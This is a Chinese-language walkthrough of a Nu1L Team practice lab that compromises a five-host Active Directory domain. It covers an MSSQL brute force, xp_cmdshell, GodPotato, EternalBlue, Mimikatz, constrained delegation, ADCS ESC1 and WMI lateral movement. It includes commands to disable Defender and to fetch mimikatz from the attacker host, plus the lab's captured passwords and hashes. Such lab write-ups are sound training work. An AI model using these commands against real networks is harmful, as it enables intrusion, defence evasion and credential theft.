内网渗透体系建设 — 靶场 WriteUp

靶场简介

官网搭建说明及镜像下载:https://book.nu1l.com/pentestbook/#/

镜像压缩包密码:关注Nu1L Team公众号(扫描下方二维码或者微信搜索Nu1L-Team),回复whoami获取即可


网络拓扑

参考:https://book.nu1l.com/pentestbook/#/aerospace/README

节点IP服务是否双网卡是否域内
Web01网卡1:NAT 自动获取 / 网卡2:172.22.10.22IIS / SQL Server是否
WIN-PC8086172.22.10.36无否aerospace.local
WIN-PC8098172.22.10.40PHPStudy否aerospace.local
DC01172.22.10.11AD DS否aerospace.local
CA172.22.10.13AD CS否aerospace.local

环境部署

通过 VMware Workstation 的"虚拟网络编辑器"创建一个新的网卡"VMnet13",选择"仅主机"模式,子网设置为 172.22.10.0/24。

创建完毕后,分别导入五台虚拟机节点即可。注意先后顺序。

虚拟机状态为挂起状态,直接点击继续运行即可,请勿做任何改动!!!

五台虚拟机导入 Vmware 后没有登录密码,需要通过渗透获取。Web01 是双网卡,可以得知其 NAT 网络的 IP,本次搭建为:192.168.93.146


攻击链路图


第一阶段:Web01(192.168.93.146 / 172.22.10.22)

1.1 扫描存活主机

nmap -sn 192.168.93.1/24

其中 192.168.93.1 和 192.168.93.254 属于网关地址,128 是 kali 本身,146 是 Web01。

1.2 扫描端口

nmap 192.168.93.146

nmap -sV -sC -p21,80,1433,5985 192.168.93.146

  • -sV:探测服务版本号
  • -sC:运行默认 NSE 脚本

1.3 FTP 枚举

FTP 确认为空,没有利用价值。

1.4 HTTP 目录扫描

发现 /download 目录和 /reports 需要认证的页面,但没有直接可利用的入口。

1.5 MS-SQL 弱口令爆破

1433 端口是 MS SQL Server 的默认端口,使用 hydra 爆破:

hydra -l sa -P /usr/share/wordlists/rockyou.txt 192.168.93.146 mssql -t 4

获得凭据:sa / 123456,这是 MS-SQL 的最高权限账户。

1.6 连接 MS-SQL 并获取系统权限

impacket-mssqlclient sa:123456@192.168.93.146

开启 xp_cmdshell 并执行系统命令:

确认当前用户为 nt service\mssqlserver,操作系统为 Windows Server 2019 Datacenter,双网卡(192.168.93.146 / 172.22.10.22)。

1.7 反弹 Shell

1.8 GodPotato 提权

当前用户拥有 SeImpersonatePrivilege 权限,可以使用 Potato 类工具提权到 SYSTEM。

GodPotato 地址:https://github.com/BeichenDream/GodPotato

提权成功!再次用 GodPotato 反弹一个 SYSTEM 权限的 Shell:

1.9 内网存活扫描

上传 fscan 扫描内网网段 172.22.10.0/24:

关键发现:

  • 172.22.10.36 (WIN-PC8086):存在 MS17-010 永恒之蓝漏洞(Windows 7 SP1)
  • 172.22.10.11 (DC01):域控制器
  • 172.22.10.13 (CA):证书服务器,检测到 AD CS 服务
  • 172.22.10.40 (WIN-PC8098):域内工作站

第二阶段:WIN-PC8086(172.22.10.36)— 永恒之蓝

2.1 MS17-010 利用

WIN-PC8086 是 Windows 7 SP1,存在 MS17-010 漏洞,使用 Metasploit 攻击:

2.2 Mimikatz 抓取凭据

由于这台机器位于域内,使用 Mimikatz 收集域内信息:

抓取到的关键凭据:

本地用户:

  • 用户名:John(本地账户)
  • 明文密码:John@123
  • NTLM Hash:5ffb08c80d9f260355e01c17a233e8f1

机器账户:

  • 用户名:WIN-PC8086$
  • 所属域:AEROSPACE
  • NTLM Hash:1878248073dc58f665227675e99b8333

2.3 发现约束委派

什么是约束委派?

在 AD 域中,委派允许一个账户代表其他用户去访问某个服务。约束委派是域管理员配置的:WIN-PC8086$ 这个机器账户,被允许代表任意用户,去访问 WIN-PC8098 的 HOST 和 CIFS 服务。这个配置存储在 msDS-AllowedToDelegateTo 属性里。

使用 findDelegation.py 枚举域内委派配置:

先找到 findDelegation.py 的位置:

img

python3 findDelegation.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -dc-ip 172.22.10.11

发现 WIN-PC8086$ 对 WIN-PC8098 的 HOST 和 CIFS 服务具有带协议转换的约束委派权限。


第三阶段:WIN-PC8098(172.22.10.40)— 约束委派攻击

3.1 S4U 协议获取票据

利用 S4U 协议(S4U2Self + S4U2Proxy),以 WIN-PC8086$ 身份模拟 Administrator 访问 WIN-PC8098 的 CIFS 服务:

  1. S4U2Self:WIN-PC8086$ 向 KDC 说"我要代表 Administrator" → KDC 返回一张 Administrator 身份的票据
  2. S4U2Proxy:WIN-PC8086$ 拿着这张票据说"Administrator 要访问 WIN-PC8098 的 CIFS 服务" → KDC 检查 msDS-AllowedToDelegateTo,确认允许 → 返回服务票据

注意:最好用 root 执行,否则可能没有写权限保存 ccache 文件。

3.2 Kerberos 认证登录

设置票据环境变量并添加 DNS 解析:

通过 wmiexec.py 获取 shell:

3.3 发现域用户进程

tasklist /v 发现域用户 AEROSPACE\liuyuhua 的进程在运行:

3.4 绕过 Defender 抓取凭据

由于该机器开启了 Windows Defender,需要先绕过:

新建管理员用户

开启远程桌面

RDP 连接

xfreerdp /v:172.22.10.40 /u:hacker /p:P@ssw0rd123 /cert:ignore

关闭 Windows Defender

RDP 进去后,打开 PowerShell(管理员):

Set-MpPreference -DisableRealtimeMonitoring $true

上传并运行 Mimikatz

Mimikatz 地址:https://github.com/ParrotSec/mimikatz

Kali 上起 HTTP 服务:

python3 -m http.server 8080

RDP 的 PowerShell 里下载:

Invoke-WebRequest -Uri http://192.168.93.128:8080/mimikatz.exe -OutFile C:\Users\hacker\mimikatz.exe

抓取 liuyuhua 的哈希

运行 Mimikatz(管理员权限):

成功抓取 liuyuhua 凭据:

  • NTLM Hash:2c8e4ec4d8a61869d85c7921c6076dfd
  • 明文密码:Yu%a#E8T6iR

第四阶段:DC01(172.22.10.11)— ADCS 证书攻击

4.1 漏洞分析

域内存在 ADCS(Active Directory Certificate Services)服务,通过 Certify 枚举发现证书模板 AeroUser 存在错误配置(ESC1):

  • 开启了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(允许申请者自定义证书主题)
  • 所有域用户都有注册权限

利用思路: 以 liuyuhua 身份申请一张包含域管 Administrator 身份的证书。

4.2 添加 hosts 解析

4.3 申请域管证书

4.4 证书认证获取域管权限

由于 DC 不支持 PKINIT(报错 KDC_ERR_PADATA_TYPE_NOSUPP),无法直接用证书换 TGT。改用 Schannel + LDAPS 方式,通过证书认证到 LDAP 并修改域管密码:

4.5 横向移动 — 拿下 DC01

使用修改后的域管密码,通过 WMI 远程执行获取域控 shell:

DC01 拿下!


第五阶段:CA(172.22.10.13)— 横向移动

同样使用域管密码通过 WMI 获取 CA 服务器 shell:

CA 拿下!至此五台机器全部沦陷。


收获总结

获取的所有凭据

机器账户类型明文密码NTLM Hash
Web01 (172.22.10.22)saMSSQL SA123456-
WIN-PC8086 (172.22.10.36)John本地用户John@1235ffb08c80d9f260355e01c17a233e8f1
WIN-PC8086 (172.22.10.36)WIN-PC8086$机器账户-1878248073dc58f665227675e99b8333
WIN-PC8098 (172.22.10.40)hacker本地管理员(新建)P@ssw0rd12389551acff8895768e489bb3054af94fd
WIN-PC8098 (172.22.10.40)WIN-PC8098$机器账户-4b871bde5de48e8b344eeba86e8c08ee
aerospace.local 域liuyuhua域用户Yu%a#E8T6iR2c8e4ec4d8a61869d85c7921c6076dfd
aerospace.local 域Administrator域管理员P@ssw0rd2024!(已修改)-

拿下的机器

机器IP获取权限攻击方式
Web01192.168.93.146 / 172.22.10.22NT AUTHORITY\SYSTEMMSSQL xp_cmdshell + GodPotato 提权
WIN-PC8086172.22.10.36NT AUTHORITY\SYSTEMMS17-010 永恒之蓝
WIN-PC8098172.22.10.40aerospace\administrator约束委派 S4U2Self + S4U2Proxy
DC01172.22.10.11aerospace\administratorADCS ESC1 + LDAP Shell 改密码
CA172.22.10.13aerospace\administrator域管密码横向移动

涉及的核心技术点

  1. MSSQL 渗透:弱口令爆破 → xp_cmdshell 命令执行 → PowerShell 反弹 Shell
  2. Windows 提权:利用 SeImpersonatePrivilege + GodPotato 从服务账户提权到 SYSTEM
  3. MS17-010 永恒之蓝:经典 SMB 远程代码执行漏洞,直接获取 SYSTEM 权限
  4. Mimikatz 凭据抓取:从内存中提取明文密码、NTLM Hash、机器账户凭据
  5. 约束委派攻击(Constrained Delegation):S4U2Self / S4U2Proxy 协议滥用,模拟域管访问目标服务
  6. ADCS ESC1 漏洞:错误配置的证书模板(CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)允许冒充任意用户申请证书
  7. PKINIT 不可用时的替代方案:通过 Schannel 认证 LDAPS,使用 LDAP Shell 修改域管密码
  8. 横向移动:Pass-the-Password 通过 WMI 远程执行获取域内其他机器权限

踩坑记录

  1. 票据保存权限:getST.py 在只读目录(如 /usr/share/doc/)下执行会 Permission Denied,需用 root 或切换到可写目录
  2. DNS 解析问题:Kerberos 认证依赖主机名解析,必须在 /etc/hosts 中添加目标机器的解析记录
  3. xfreerdp 语法变化:新版 xfreerdp 使用 /cert:ignore 而非 -cert-ignore
  4. PKINIT 不支持:DC 不支持证书直接换 TGT 时,需改用 LDAP Shell(Schannel)方式
  5. certipy DNS 解析:需指定 -ns 和 -dc-ip 参数使用域控 DNS,否则默认 DNS 无法解析内网域名